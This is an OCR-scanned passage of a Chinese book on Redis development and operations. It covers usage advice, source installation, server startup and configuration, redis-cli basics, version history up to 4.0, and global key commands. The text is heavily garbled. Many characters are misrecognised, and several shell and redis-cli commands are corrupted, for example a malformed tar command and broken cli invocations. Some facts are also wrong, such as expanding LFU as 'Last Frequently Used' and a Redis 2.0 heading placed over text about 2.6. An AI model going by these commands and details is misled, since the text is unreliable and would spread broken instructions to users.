要 频繁 操作 的 数据 ， 反 之 为 冷 数据 ， 例 如 对 于 视频 网 站 来 说 ， 视 频 基 本 信息 
基本 上 在 各 个 业务 线 部 是 经 常 要 操作 的 数据 ， 而 用 户 的 观看 记录 不 一 定 是 经 
常 需 要 访问 的 数据 ， 这 里 暂且 不 讨论 两 者 数据 规模 的 差异 ， 单 纯 站 在 数据 冷 
热 的 角度 上 看 ， 视 频 信息 属于 热 数 据 ， 用 户 观 看 记录 属于 冷 数 据 。 如 果 将 这 
些 冷 数 据 放 在 Redis 中 ， 基 本 上 是 对 于 内 存 的 一 种 浪费 ， 但 是 对 于 一 些 热 数 
据 可 以 放 在 Redis 中 加 速 读 写 ， 也 可 以 减轻 后 端 存 储 的 负载 ， 可 以 说 是 事 半 
功 倍 。 














所 以 ，Redis 并 不 是 万 金 油 ， 相 信 随 着 我 们 对 Redis 的 逐步 学 习 ， 能 够 清 
楚 Redis 真 正 的 使 用 场景 。 
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1.4 用 好 Redis 的 建议 
1. 切 勿 当 作 黑 合 使用， 开发 与 运 维 同样 重要 


很 多 使 用 Redis 的 开发 者 认为 只 要 会 用 API 开 发 相应 的 功能 就 可 以 ， 更 有 
其 者 认为 Redis 就 是 get、set、del， 不 需要 知道 Redis 的 原理 。 但 是 在 我 们 实 
际 运 维和 使 用 Redis 的 过 程 中 发 现 ， 很 多 线 上 的 故障 和 问题 都 是 由 于 完全 把 
Redis 当 做 黑 盒 造成 的 ， 如 果 不 了 解 Redis 的 单线 程 模型 ， 有 些 开 发 者 会 在 有 
上 千 万 个 键 的 Redis 上 执行 keys* 操 作 ， 如 果 不 了 解 持 久 化 的 相关 原理 ， 会 在 
一 个 写 操作 量 很 大 的 Redis 上 配置 自动 保存 RDB。 而 且 在 很 多 公司 内 只 有 专 
只 的 关系 型 数据 库 DBA， 并 没有 NoSQL 的 相关 运 维 人 员 ， 也 就 是 说 开发 者 
很 有 可 能 会 自己 运 维 Redis， 对 于 Redis 的 开发 者 来 说 既是 好 事 又 是 坏事 。 站 
在 好 的 方面 看 ， 开 发 人 员 可 以 通过 运 维 Redis 真 正 了 解 Redis 的 一 些 原理 ， 不 
单纯 停留 在 开发 上 。 站 在 坏 的 方面 看 ，Redis 的 开发 人 员 不 仅 要 支持 开发 ， 
还 要 承担 运 维 的 责任 ， 而 且 由 于 运 维 经 验 不 足 可 能 会 造成 线 上 故障 。 但 是 从 
实际 经 验 来 看 ， 运 维 足 够 规模 的 Redis 会 对 用 好 Redis 更 加 有 帮助 。 














2. 阅 读 源 码 


我 们 在 前 面 提 到 过 ，Redis 是 开源 项 目 ， 由 于 作者 对 Redis 代 码 的 极致 退 
求 ，Redis 的 代码 量 相对 于 许多 NoSQIL 数 据 库 来 说 是 非常 小 的 ， 也 就 意味 着 
作为 普通 的 开发 和 运 维 人 员 也 是 可 以 “吃透 ?Redis 的 。 通 过 阅读 优秀 的 源 
码 ， 不 仅 能 够 加 深 我 们 对 于 Redis 的 理解 ， 而 且 还 能 提高 自身 的 编码 水 平 ， 
甚至 可 以 对 Redis 做 定制 化 ， 也 就 是 说 可 以 修改 Redis 的 源码 来 满足 目 身 的 需 
求 ， 例 如 新 浪 微 博 在 Redis 的 早期 版 本 上 做 了 很 多 的 定制 化 来 满足 目 映 的 需 
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求 ， 聋 豆 芋 也 开源 基于 Proxy 的 Redis 分 布 式 实现 Codis。 
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1.5 ”正确 安装 并 局 动 Redis 





通 第 来 说 ， 学 习 一 门 技 术 最 好 的 方法 就 是 实战 ， 所 以 在 学 习 Redis 这 样 
一 个 实战 中 产生 的 技术 时 ， 首 先 把 它 安 装 部 署 起 来 ， 值 得 庆 兽 的 是 ， 相 比 于 
很 多 软件 和 工具 部 署 步骤 繁杂 ，Redis 的 安装 不 得 不 说 是 非常 简 早 ， 本 节 我 


们 将 学 习 如 何 安 装 Redis。 
Os 


在 写本 书 时 ，Redis4.0 已 经 发 布 RC 版 ， 但 是 大 部 分 公司 还 都 在 使 用 3.0 
或 更 早 的 版 本 (2.6 或 2.8) ， 本 书 所 讲 的 内 容 基 于 Redis3.0。 
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1.5.1 安装 Redis 


1. 在 Linux 上 安装 Redis 


Redis 能 够 兼容 绝 大 部 分 的 POSIX 系 统 ， 例 如 Linux、OS X、OpenBSD、 
NetBSD 和 FreeBSD， 其 中 比较 典型 的 是 Linux 操 作 系统 〈 例 如 CentOS、 
Redhat、Ubuntu、Debian、OS X 等 ) 。 在 Linux 安 装 软件 通常 有 两 种 方法 ， 第 
一 种 是 通过 各 个 操作 系统 的 软件 管理 软件 进行 安装 ， 例 如 CentOS 有 yum 管 理 
工具 ，Ubuntu 有 apt。 但 是 由 于 Redis 的 更 新 速度 相对 较 快 ， 而 这 些 管理 工具 
不 一 定 能 更 新 到 最 新 的 版 本 ， 同 时 前 面 提 到 Redis 的 安装 本 身 不 是 很 复杂 ， 
所 以 一 般 推 荐 使 用 第 二 种 方式 : 源码 的 方式 进行 安装 ， 整 个 安装 只 需 以 下 六 
步 即 可 完成 ， 以 3.0.7 版 本 为 例 : 














wget http://download.redis.io/releases/redis-3.0.7.tar.gz 
tar xzf redis=3.0,7.tar.gz 

ln -s redis-3.0.7 redis 

cd redis 

make 

make install 


pe 





1) 下 载 Redis 指 定 版 本 的 源码 压缩 包 到 当前 目录 。 
2) 解压 缩 Redis 源 码 压缩 包 。 

3) 建立 一 个 redis 目 录 的 软 连接 ， 指 向 redis-3.0.7。 
4) 进入 redis 目 录 。 

5) 编译 (编译 之 前 确保 操作 系统 已 经 安装 gcc) 。 
6) 安 闭 。 
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这 里 有 两 点 要 注意 : 第 一 ， 第 3 步 中 建立 了 一 个 redis 目 录 的 软 链接 ， 这 
样 做 是 为 了 不 把 redis 目 录 固 定 在 指定 版 本 上 ， 有 利于 Redis 未 来 版 本 升级 ， 
算是 安装 软件 的 一 种 好 习惯 。 第 二 ， 第 6 步 中 的 安装 是 将 Redis 的 相关 运行 文 
件 放 到 /usrvlocalbin/ 下， 这 样 就 可 以 在 任意 目录 下 执行 Redis 的 命令 。 例 如 安 
装 后 ， 可 以 在 任何 目录 执行 redis-cli-v 查 看 Redis 的 版 本 。 




















$ redis-cli -vyv 
redis-cli 3.0.7 


Os 
第 12 章 将 介绍 更 多 Linux 配 置 优化 技巧 ， 为 Redis 的 民 好 运行 保驾 护 航 。 


2. 在 Windows 上 安装 Redis 


Redis 的 官方 并 不 支持 微软 的 Windows 操 作 系 统 ， 但 是 Redis 作 为 一 款 优 
郁 的 开源 技术 吸引 到 了 微软 公司 的 注意 ， 微 软 公司 的 开源 技术 组 在 GitHub 上 
维护 一 个 Redis 的 分 支 : https://github.com/MSOpenTech/redis。 


那 为 什么 Redis 的 作者 没有 开发 和 维护 针对 Windows 用 户 的 Redis 版 本 
呢 ? 这 里 可 以 简单 分 析 一 下 : 首先 Redis 的 许多 特性 都 是 和 操作 系统 相关 
的 ，Windows 操 作 系统 和 Linux 操 作 系统 有 很 大 的 不 同 ， 所 以 会 增加 维护 成 
本 ， 而 且 更 重要 的 是 大 部 分 公司 都 在 使 用 Linux 操 作 系统 ， 而 Redis 在 Linux 操 
作 系 统 上 的 表现 已 经 得 到 了 实践 的 验证 。 对 于 使 用 Windows 操 作 系统 的 读 
者 ， 可 以 通过 安装 虚拟 机 来 体验 Redis 的 诸多 特性 。 


Os 
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对 Windows 版 本 的 Redis 感 兴趣 的 读者 ， 可 以 尝试 安装 和 部 署 Windows 版 
本 的 Redis， 但 是 本 书 中 的 知识 和 例子 不 能 确保 在 Windows 下 能 够 运行 。 


40 


1.$5.2 配置、 启动、 操作 、 关 闭 Redis 








Redis 安 装 之 后 ，src 和 /usrlocal/bin 目 录 下 多 了 几 个 以 redis 开 头 可 执行 文 
件 ， 我 们 称 之 为 Redis Shell， 这 些 可 执行 文件 可 以 做 很 多 事情 ， 例 如 可 以 局 
动 和 停止 Redis、 可 以 检测 和 修复 Redis 的 持久 化 文件 ， 还 可 以 检测 Redis 的 性 
能 。 表 1-2 中 分 别 列 出 这 些 可 执行 文件 的 说 明 。 


表 1-2 ”Redis 可 执行 文件 说 明 














可 执行 文件 作 用 
redis-server 启动 Redis 
redis-cli Redis 命令 行 客 户 端 
redis-benchmark Redis 基准 测试 工具 
redis-check-aof Redis AOF 持久 化 文件 检测 和 修复 工具 
redis-check-dump Redis RDB 持久 化 文件 检测 和 修复 工具 


redis-sentinel 启动 Redis Sentinel 





Redis 持 久 化 和 Redis Sentinel 分 别 在 第 5 章 和 第 9 章 才 会 涉及 ，Redis 基 准 


测试 将 在 第 3 章 介 绍 ， 所 以 本 节 只 对 redis-server、redis-cli 进 行 介绍 。 


1. 启 动 Redis 





有 三 种 方法 启动 Redis: 默认 配置 、 运 行 配置 、 配 置 文件 启动 。 


(1) 默认 配置 





这 种 方法 会 使 用 Redis 的 默认 配置 来 启动 ， 下 面 束 是 redis-server 执 行 后 
输出 的 相关 日 志 : 





$ redis-server 
12040:C 11 Jun 17:28:39.464 # Warning: no config file specified, using the 


default config. In order to specify a config file use ./redis-server /patn/ 
to/redis.conf 
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Se Da Redis 3.0.7 (00000000/0) 64 bit 


三 = = 
( . Ee | 7 ) Running in standalone mode 
A a PoOrt: 03979 
1 -mh / 本 PID: 12040 


2 Se http:// redis.io 








12040:M 11 Jun 17:28:39.470 # Server started, Redis version 3.0.7 
12040:M 11 Jun 17:28:39.470 * The server is now ready to accept connections on 
Bort 6379 





可 以 看 到 直接 使 用 redis-server 启 动 Redis 后 ， 会 打印 出 一 些 日 志 ， 通 过 
日 志 可 以 看 到 一 些 信息 ， 上 例 中 可 以 看 到 : 


当前 的 Redis 版 本 的 是 3.0.7。 


.Redis 的 默认 端口 是 6379。 


.Redis 建 议 要 使 用 配置 文件 来 启动 。 





因为 直接 局 动 无 法 自 定义 配置 ， 所 以 这 种 方式 是 不 会 在 生产 环境 中 使 用 
的 。 


(2) 运行 启动 


redis-server 加 上 要 修改 配置 名 和 值 (可 以 是 多 对 ) ， 没 有 设置 的 配置 将 
使 用 默认 配置 : 








# redis-server --configKeyl configValuel --configKey2 configValue2 





例如 ， 如 果 要 用 6380 作 为 端口 启动 Redis， 那 么 可 以 执行 : 
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# redis-server --port 6380 











里 然 运 行 配 置 可 以 自 定义 配置 ， 但 是 如 果 需 要 修改 的 配置 较 多 或 者 希望 
将 配置 保存 到 文件 中 ， 不 建议 使 用 这 种 方式 。 


(3) 配置 文件 局 动 





将 配置 写 到 指定 文件 里 ， 例 如 我 们 将 配置 写 到 了 /opt/redis/redis.conf 
中 ， 那 么 只 需要 执行 如 下 命令 即 可 启动 Redis: 








# redis-server /opt/redis/redis.conf 





Redis 有 60 多 个 配置 ， 这 里 只 给 出 一 些 重要 的 配置 (参见 表 1-3) ， 其 他 
配置 会 随 着 不 断 深入 学 习 进 行 介绍 ， 第 14 章 会 将 所 有 的 配置 说 明 进 行 汇 总 。 





表 1-3 Redis 的 基础 配置 


配置 名 配置 说 明 
port 端口 
logfile 日 志文 件 
dir Redis 工作 目录 (存放 持久 化 文件 和 日 志文 件 ) 
daemonize 是 否 以 守护 进程 的 方式 启动 Redis 


© 


Redis 目 录 下 都 会 有 一 个 redis.conf 配 置 文件 ， 里 面 就 是 Redis 的 默认 配 
置 ， 通 常 来 讲 我 们 会 在 一 台 机 器 上 局 动 多 个 Redis， 并 且 将 配置 集中 管理 在 
指定 目录 下 ， 而 且 配 置 不 是 完全 手写 的 ， 而 是 将 redis.conf 作 为 模板 进行 修 
改 。 

















显然 通过 配置 文件 局 动 的 方式 提供 了 更 大 的 灵活 性 ， 所 以 大 部 分 生产 环 


49 





境 会 使 用 这 种 方式 启动 Redis。 
2.Redis 命 令 行 客 户 端 


现在 我 们 已 经 启动 了 Redis 服 务 ， 下 面 将 介绍 如 何 使 用 redis-cli 连 接 、 操 
作 Redis 服 务 。redis-cli 可 以 使 用 两 种 方式 连接 Redis 服 务 器 。 





:第 一 种 是 交互 式 方式 : 通过 redis-cli-h{host}-p{port} 的 方式 连接 到 Redis 
服务 ， 之 后 所 有 的 操作 都 是 通过 交互 的 方式 实现 ， 不 需要 再 执行 redis-cli 
了 ， 例 如 : 








redis=Clt = L27000L =B ‘6379 
127.0.0.1:6379> set hello world 
OK 
127.0.0.1:6379> get hello 
"world" 

















AAA 


第 二 种 是 命令 方式 : 用 redis-cli-hip{host}-p{port} {command} 束 可 以 直 
接 得 到 命令 的 返回 结果 ， 例 如 : 





redis-cli -hn 127.0.0.1 -p 6379 get hello 
"world" 








这 里 有 两 点 要 注意 : 1) 如 果 没 有 -h 参 数 ， 那 么 默认 连接 127.0.0.1; 如 
果 没 有 -p， 那 么 默认 6379 端 口 ， 也 就 是 说 如 果 -h 和 -p 都 没 写 就 是 连接 
127.0.0.1: 6379 这 个 Redis 实 例 。2) redis-cli 是 学 习 Redis 的 重要 工具 ， 后 面 
的 很 多 章节 都 是 用 它 做 讲解 ， 同 时 redis-cli 还 提供 了 很 多 有 价值 的 参数 ， 可 
以 帮助 解决 很 多 问题 ， 有 关于 redis-cli 的 强大 功能 将 在 第 3 章 进行 详细 介绍 








3. 停 止 Redis 服 务 
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Redis 提 供 了 shutdown 命 令 来 停止 Redis 服 务 ， 例 如 要 停 掉 127.0.0.1 上 
6379 端 口上 的 Redis 服 务 ， 可 以 执行 如 下 操作 。 





$ redis-cli shutdown 





可 以 看 到 Redis 的 日 志 输 出 如 下 : 





# User requested shutdown... # 客 户 端 发 出 的 shutdown 命 令 
* Saving the final RDB snapshot before exiting. 





























# 保 存 RDB 持 久 化 文件 (有 关 Re di s 持 久 化 的 特性 在 1 .2 节 已 经 进行 了 简单 的 介绍 ，RDB 是 Redis 的 一 种 
持久 化 方式 ) 

* DB saved on disk # 将 RDB 文 件 保存 在 磁盘 上 

# Redis is now ready to exit, bye bye... # 关 闭 








当 使 用 redis-cli 再 次 连接 该 Redis 服 务 时 ， 看 到 Redis 已 经 * 失 联 ”。 





$ redis-cli 
Could not connect to Redis at 127.0.0.1:6379: Connection refused 








这 里 有 三 点 需要 注意 一 下 : 





1) Redis 关 闭 的 过 程 : 断 开 与 客户 端的 连接 、 持 入 化 文件 生成 ， 是 一 种 
相对 优雅 的 关闭 方式 。 


2) 除了 可 以 通过 shutdown 命 令 关 闭 Redis 服 务 以 外 ， 还 可 以 通过 kill 进 程 
号 的 方式 关闭 掉 Redis， 但 是 不 要 粗暴 地 使 用 kill-9 强 制 杀 死 Redis 服 务 ， 不 但 
不 会 做 持久 化 操作 ， 还 会 造成 缓冲 区 等 资源 不 能 被 优雅 关闭 ， 极 端 情 况 会 造 
成 AOF 和 复制 丢失 数据 的 情况 。 








3) shutdown 还 有 一 个 参数 ， 代 表 是 个 在 关闭 Redis 前 ， 生 成 持久 化 文 
5 
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redis-cli shutdown nosave|save 


rr | 
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1.6 Redis 重 大 版 本 








Redis 借 鉴 了 Linux 操 作 系统 对 于 版 本 号 的 命名 规则 : 版 本 号 第 二 位 如 果 
是 奇数 ， 则 为 非 稳定 版 本 〈 例 如 2.7、2.9、3.1) ， 如 果 是 偶数 ， 则 为 稳定 版 
本 《例如 2.6、2.8、3.0、3.2) 。 当 前 奇数 版 本 就 是 下 一 个 稳定 版 本 的 开发 版 
本 ， 例 如 2.9 版 本 是 3.0 版 本 的 开发 版 本 。 所 以 我 们 在 生产 环境 通常 选取 偶数 
版 本 的 Redis， 如 果 对 于 某 些 新 的 特性 想 提 前 了 解 和 使 用 ， 可 以 选择 最 新 的 
奇数 版 本 。 





介绍 一 门 技 术 的 版 本 是 很 多 技术 图 书 的 必 备 内 容 ， 通 常 读者 容易 忽略 ， 
但 随 独 你 对 这 门 技术 深入 学 习 后 ， 会 觉得 “ 备 感 亲切 ”， 而 且 通 毅 也 会 关注 新 
版 本 的 特性 ， 本 小 市 将 对 Redis 发 展 过 程 中 的 一 些 重 要 版 本 及 特性 进行 说 
明 。 








1.Redis2.0 


Redis2.6 在 2012 年 正式 发 布 ， 经 历 了 17 个 版 本 ， 到 2.6.17 版 本 ， 相 比 于 
Redis2.4， 主 要 特性 如 下 : 


1) 服务 问 文 持 Lua 脚 本 。 





2) 去 邱 虚 拟 内 存 相 关 功 能 。 


3) 放 开 对 客户 端 连接 数 的 硬 编 码 限制 。 








4) 键 的 过 期 时 间 支持 毫秒 。 


5) 从 节点 提供 只 读 功能 。 
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6) 两 个 新 的 位 图 命令 : bitcount 和 bitop。 


7) 增强 了 redis-benchmark 的 功能 : 支持 定制 化 的 压 测 ，CSV 输 出 等 功 


ZN 
CC 





8) 基于 浮 点 数 自 增 命令 : incrbyfloat 和 hincrbyfloat。 

9) redis-cli 可 以 使 用 --eval 参 数 实现 Lua 脚 本 执行 。 

10) shutdown 命 令 增 强 。 

11) info 可 以 按照 section 输 出 ， 并 且 添 加 了 一 些 统计 项 。 


12) 重 构 了 大 量 的 核心 代码 ， 所 有 集群 相关 的 代码 都 去 掉 了 ，cluster 功 
能 将 会 是 3.0 版 本 最 大 的 腕 点 。 





13) sort 命 令 优 化 。 
2.Redis2.8 


Redis2.8 在 2013 年 11 月 22 日 正式 发 布 ， 经 历 了 24 个 版 本 ， 到 2.8.24 版 本 ， 
相 比 于 Redis2.6， 主 要 特性 如 下 : 





1) 添加 部 分 主 从 复制 的 功能 ， 在 一 定 程 度 上 降低 了 由 于 网 络 问题 ， 造 
成 频繁 全 量 复制 生成 RDB 对 系统 造成 的 压力 。 


2) 尝试 性 地 支持 IPv6。 


3) 可 以 通过 config set 命 令 设置 maxclients。 


Wa 


4) 可 以 用 bind 命 令 绑 定 多 个 中 地 址 。 
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5) Redis 设 置 了 明显 的 进程 名 ， 方 便 使 用 ps 命令 查看 系统 进程 。 

6) config rewrite 命 令 可 以 将 config set 持 久 化 到 Redis 配 置 文件 中 。 

7) 发 布 订阅 添加 了 pubsub 命 令 。 

8) Redis Sentinel 第 二 版 ， 相 比 于 Redis2.6 的 Redis Sentinel， 此 版 本 已 经 
变 成 生产 可 用 。 

3.Redis3.0 


Redis3.0 在 2015 年 4 月 1 日 正式 发 布 ， 和 截止 到 本 书 完成 已 经 到 3.0.7 版 本 ， 
相 比 于 Redis2.8 主 要 特性 如 下 : 


Ons 


Redis3.0 最 大 的 改动 就 是 添加 Redis 的 分 布 式 实现 Redis Cluster， 填 补 了 
Redis 官 方 没 有 分 布 式 实现 的 空白 。Redis Cluster 经 历 了 4 年 才 正 式 发 布 也 是 
有 原因 的 ， 有 具体 可 以 参考 Redis Cluster 的 开发 日 志 

Chttp:/antirez.comynews/79) 。 











1) Redis Cluster: Redis 的 官方 分 布 式 实现 。 


2) 全 新 的 embedded string 对 象 编码 结果 ， 优 化 小 对 象 内 存 访问 ， 在 特定 
的 工作 负载 下 速度 大 帐 提升。 


3) lru 算 法 大 幅 提 升 。 


4) migrate 连 接 缓存 ， 大 幅 提 升 键 迁 移 的 速度 。 


55 


5) migrate 命 令 两 个 新 的 参数 copy 和 replace。 
6) 新 的 client pause 命 令 ， 在 指定 时 间 内 停止 处 理 客 户 端 请 求 。 
7) bitcount 命 令 性 能 提升 。 


8) config set 设 置 maxmemory 时 候 可 以 设置 不 同 的 单位 《之 前 只 能 是 字 


节 ) ， 例 如 config set maxmemorylgb。 





9) Redis 日 志 小 做 调整 : 日 志 中 会 反应 当前 实例 的 角色 (master 或 者 


slave) 。 


10) incr 命 令 性 能 提升 。 


4.Redis3.2 


Redis3.2 在 2016 年 5 月 6 日 正式 发 布 ， 相 比 于 Redis3.0 主 要 特征 如 下 : 


1) 添加 GEO 相 关 功 能 。 





2) SDS 在 速度 和 节省 空间 上 都 做 了 优化 。 
3) 支持 用 upstart 或 者 systemd 管 理 Redis 进 程 。 
4) 新 的 List 编 码 类 型 : quicklist。 

5) 从 节点 读 取 过 期 数据 保证 一 致 性 。 

6) 添加 了 hstrlen 命 令 。 


7) 增强 了 debug 命 令 ， 文 持 了 更 多 的 参数 。 


30 


8) Lua 脚 本 功能 增强 。 

9) 添加 了 Lua Debugger。 

10) config set 文 持 更 多 的 配置 参数 。 

11) 优 化 了 Redis 骨 演 后 的 相关 报告 。 

12) 新 的 RDB 格 式 ， 但 是 仍然 兼容 旧 的 RDB。 
13) 加 速 RDB 的 加 载 速度 。 

14) spop 命 令 支 持 个 数 参数 。 

1$) cluster nodes 命 令 得 到 加 速 

16) Jemalloc 更 新 到 4.0.3 版 本 。 

5.Redis4.0 


可 能 出 乎 很 多 人 的 意料 ，Redis3.2 之 后 的 版 本 是 4.0， 而 不 是 3.4、3.6、 
3.8。 一 般 这 种 重大 版 本 号 的 升级 也 意味 着 软件 或 者 工具 本 身 发 生 了 重大 变 
革 ， 直 到 本 书 截稿 前 ，Redis 发 布 了 4.0-RC2， 下 面 列 出 Redis4.0 的 新 特性 : 








1) 提供 了 模块 系统 ， 方 便 第 三 方 开 发 者 拓展 Redis 的 功能 ， 更 多 模块 详 


见 : http://redismodules.com。 





2) PSYNC2.0: 优化 了 之 前 版 本 中 ， 主 从 节点 切换 必然 引起 全 量 复制 的 


问题 。 
3) 提供 了 新 的 缓存 剔除 算法 : LFU (Last Frequently Used) ， 并 对 已 有 
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算法 进行 了 优化 。 


4) 提供 了 非 阻塞 del 和 fushallyflushdb 功 能 ， 有 效 解决 删除 bigkey 可 能 造 
成 的 Redis 阻 塞 。 


5) 提供 了 RDB-AOF 混 合 持久 化 格式 ， 充 分 利用 了 AOF 和 RDB 各 上 自 优 


6) 提供 memory 命 令 ， 实 现 对 内 存 更 为 全 面 的 监控 统计 。 
7) 提供 了 交互 数据 库 功 能 ， 实 现 Redis 内 部 数据 库 之 间 的 数据 置换 。 


8) Redis Cluster 兼 容 NAT 和 Docker。 
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1.7 本 章 重 点 回顾 


1) Redis 的 8 个 特性 : 速度 快 、 基 于 键 值 对 的 数据 结构 服务 器 、 功 能 
、 简 单 稳定 、 客 户 站 语言 多 、 持 久 化 、 主 从 复制 、 支 持 高 可 用 和 分 布 式 。 


也 


2) Redis 并 不 是 万 金 油 ， 有 些 场景 不 适合 使 用 Redis 进 行 开 发 。 


3) 开发 运 维 结合 以 及 阅读 源码 是 用 好 Redis 的 重要 方法 。 


4) 生产 环境 中 使 用 配置 文件 启动 Redis。 


5) 生产 环境 选取 稳定 版 本 的 Redis。 





6) Redis3.0 是 重要 的 里 程 碑 ， 发 布 了 Redis 官 方 的 分 布 式 实 现 Redis 


Cluster。 
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第 2 章 API 的 理解 和 使 用 


Redis 提 供 了 5 种 数据 结构 ， 理 解 每 种 数据 结构 的 特点 对 于 Redis 开 发 运 
维 非 党 重要， 同时 掌握 Redis 的 单线 程 命令 处 理 机 制 ， 会 使 数据 结构 和 命令 
的 选择 事半功倍 ， 本 章 内 容 如 下 : 


预备 知识 : 几 个 简单 的 全 局 命令 ， 数 据 结构 和 内 部 编码 ， 单 线程 合 
处 理 机 制 分 析 。 


5 种 数据 结构 的 特点 、 命 令 使 用 、 应 用 场景 。 


` 键 管理 、 壳 爵 键 、 数 据 库 管 理 。 
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2.1 预备 


在 正式 介绍 5 种 数据 结构 之 前 ， 了 解 一 下 Redis 的 一 些 全 局 命令 、 数 据 结 
构 和 内 部 编码 、 单 线程 命令 处 理 机 制 是 十 分 有 必要 的 ， 它 们 能 为 后 面 内容 的 
学 习 打下 一 个 好 的 基础 ， 主 要 体现 在 两 个 方面 : 第 一 、Redis 的 命令 有 上 百 
个 ， 如 果 纯 靠 死记 硬 背 比较 困难 ， 但 是 如 果 理 解 Redis 的 一 些 机 制 ， 会 发 现 

些 命令 有 很 强 的 通用 性 。 第 二 、Redis 不 是 万 金 油 ， 有 些 数 据 结构 和 命令 
必须 在 特定 场景 下 使 用 ， 一 旦 使 用 不 当 可 能 对 Redis 本 身 或 者 应 用 本 身 造 成 
致命 伤害 。 
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2.1.1 全 局 命令 





Redis 有 5 种 数据 结构 ， 它 们 是 键 值 对 中 的 值 ， 对 于 键 来 说 有 一 些 通用 的 


从 人 
命令 。 


1. 查 看 所 有 和 键 





Keys * 





下 面 插入 了 3 对 字符 如 类 型 的 键 值 对 : 





127.0.0.1:6379> set hello worild 

OK 

127.0.0.1:6379> set java jedis 

OK 

127.0.0.1:6379> set python redis-py 
OK 





keys* 命 令 会 将 所 有 的 键 输出 : 





127.0.0.1:6379> keys * 


1) "python" 
2) "java" 
3). helld™ 








dbsize 





下 面 插入 一 个 列表 类 型 的 键 值 对 〈 值 是 多 个 元 素 组 成 〉: 





127.0.0.1:6379> rpush mylist a bcde frqg 
(integer) 7 
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dbsize 命 令 会 返回 当前 数据 库 中 键 的 总 数 。 例 如 当前 数据 库 有 4 个 键 ， 
分 别 是 hello、java、python、mylist， 所 以 dbsize 的 结果 是 4: 





127.0.0.1:6379> dbsize 
(integer) 4 





dbsize 命 令 在 计算 键 总 数 时 不 会 志 历 所 有 键 ， 而 是 直接 获取 Redis 内 置 的 
键 总 数 变 量 ， 所 以 dbsize 命 令 的 时 间 复 杂 度 是 DO〈1) 。 而 keys 命 令 会 表 历 所 
有 键 ， 所 以 它 的 时 间 复 杂 度 是 O Cn) ， 当 Redis 保 存 了 大 量 键 时 ， 线 上 环境 
茶 止 使 用 。 








3. 检 查 键 是 否 存在 





exists key 





如 果 键 存在 则 返回 1， 不 存在 则 返回 0: 





127.0.0.1:6379> exists java 
(integer) 1 

127.:0.0.1:63719> exists not exist key 
(integer) 0 





4. 删 除 键 





del key [key ...] 





del 是 一 个 通用 命令 ， 无 论 值 是 什么 数据 结构 类 型 ，del 命 令 都 可 以 将 其 
删除 ， 例 如 下 面 将 字符 串 类 型 的 键 java 和 列表 类 型 的 键 mylist 分 别 删除 : 





127.0.0.1:6379> del Java 
(integer) 1 

127.0.0.1:6379> exists java 
(integer) 0 

127.0.0.1:6379> del mylist 
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(integer) 1 
127.0.0.1:6379> exists mylist 
(integer) 0 





返回 结果 为 成 功 删 除 键 的 个 数 ， 假 设 删 除 一 个 不 存在 的 键 ， 束 会 返回 





lI27 0 O00379> del :Nnot, exiet key 
(integer) 0 





同时 del 命 令 可 以 支持 删除 多 个 键 : 











L277.00.0 .01:6379> Bet :1 
OK 

12750.0.1:6379>. set Bb: 2 
OK 

12750u0 12:63/9> Set G3 
OK 

127.0.0.1:6379> del abrc 


(integer) 3 





5. 键 过 期 








xpire key seconds 








Redis 支 持 对 键 添加 过 期 时 间 ， 当 超过 过 期 时 间 后 ， 会 自动 删除 键 ， 例 
如 为 键 hello 设 置 了 10 秒 过 期 时 间 : 





127.0.0.1:6379> set hello world 
OK 

127.0.0.1:6379> expire hello 10 
(integer) 1 





节 命 令 会 返回 键 的 剩余 过 期 时 间 ， 它 有 3 种 返回 值 : 


:大 于 等 于 0 的 整数 : 键 剩 余 的 过 期 时 间 。 
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-1: 键 没 设置 过 期 时 间 。 
-2: 键 不 存在 


可 以 通过 世 命 令 观察 键 hello 的 剩余 过 期 时 间 : 





# 还 剩 7 秒 
127.0.0.1:6379> ttl1 hello 
(integer) 7 


井 还 剩 工 秒 

L127.0.06176379> EL 所 全 工人 
(integer) 1 
# 返 回 结果 为 2， 说明 键 hel1o 已 经 被 删除 
1270 ,0.106379> 七 七 1 hells 
(integer) -2 
127.0.0.1:6379> get hello 
(nil) 






































有 关键 过 期 更 为 详细 的 使 用 以 及 原理 会 在 2.7 市 介绍 。 


6. 键 的 数据 结构 类 型 





type key 





例如 键 hello 是 字符 串 类 型 ， 返 回 结果 为 string。 键 mylist 是 列表 类 型 ， 返 





回 结 果 为 list: 
1271%0.0.1:63719> -set a Bb 
OK 
127.0.0.1:6379> type a 
| 


127.0.0.1:6379> rpush mylist a bcde frqg 
(integer) 7 

127.0.0.1:6379> type mylist 

list 











如 果 键 不 存在 ， 则 返回 none: 





127.0.0.1:6379> type not exsit key 
none 
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本 小 市 只 是 抛砖引玉 ， 给 出 几 个 通用 的 命令 ， 为 5 种 数据 结构 的 使 用 做 
一 个 热身 ，2.7 节 将 对 键 管理 做 一 个 更 为 详细 的 介绍 。 
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2.1.2 ”数据 结构 和 内 部 编码 





type 命 令 实际 返回 的 就 是 当前 键 的 数据 结构 类 型 ， 它 们 分 别 是 : 
string (字符 串 ) 、hash《〈 哈 希 ) 、list (列表 ) 、set (集合 ) 、zset (有 序 集 
合 ) ， 但 这 些 只 是 Redis 对 外 的 数据 结构 ， 如 图 2-1 所 示 。 














实际 上 每 种 数据 结构 都 有 自己 底层 的 内 部 编码 实现 ， 而 且 是 多 种 实现 ， 
这 样 Redis 会 在 合适 的 场景 选择 合适 的 内 部 编码 ， 如 图 2-2 所 示 。 


可 以 看 到 每 种 数据 结构 都 有 两 种 以 上 的 内 部 编码 实现 ， 例 如 list 数 据 结 
构 包 含 了 linkedlist 和 ziplist 两 种 内 部 编码 。 同 时 有 些 内 部 编码 ， 例 如 ziplist， 
可 以 作为 多 种 外 部 数据 结构 的 内 部 实现 ， 可 以 通过 object encoding 命 令 查询 
内 部 编码 : 





127.0.0.1:6379> object encoding hello 
"embstr" 
127.0.0.1:6379> object encoding mylist 
VeilLLSt™ 
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一 ee 
VY ep ee a en a a en en DD oD ED ep Se 







| am a string| 字符 串 


value] 


field1 fedl | vael 
| fed2 field2 | value? value2 


衬 o>- 
XN SY 


图 2-1 ”Redis 的 5 种 数据 结构 
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辫 反 X 尼 7 
4 r 4 Y 
向 部 编码 







数据 结 和 
Ev 后 结 旬 


string 


ha sh 





图 2-2 ”Redis 数 据 结构 和 内 部 编码 


可 以 看 到 键 hello 对 应 值 的 内 部 编码 是 embsttr， 键 mylist 对 应 值 的 内 部 编 


人 码 是 ziplist。 


Redis 这 样 设计 有 两 个 好 处 : 第 一 ， 可 以 改进 内 部 编码 ， 而 对 外 的 数据 
